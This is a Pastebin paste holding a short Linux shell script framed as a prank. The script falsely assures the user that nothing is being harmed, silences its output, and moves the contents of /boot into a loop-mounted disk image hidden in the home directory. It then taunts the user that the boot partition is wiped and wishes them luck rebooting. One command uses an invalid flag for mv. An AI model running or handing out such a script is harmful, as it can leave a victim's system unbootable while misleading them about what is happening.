Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- echo "This is not messing up anything...you can get everything back!"
- dd if=/dev/zero of=container.img bs=8G count=0 seek=1 > /dev/null
- sudo mkfs.ext4 container.img > /dev/null
- mkdir ~/get-your-data-here > /dev/null
- sudo mount -o loop container.img ~/get-your-data-here > /dev/null
- sudo mv -rf /boot/* ~/get-your-data-here/boot > /dev/null
- sudo umount ~/get-your-data-here
- echo "Now your boot partition is wiped, jk because you can just get it back again."
- echo "Good luck if you reboot :)"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement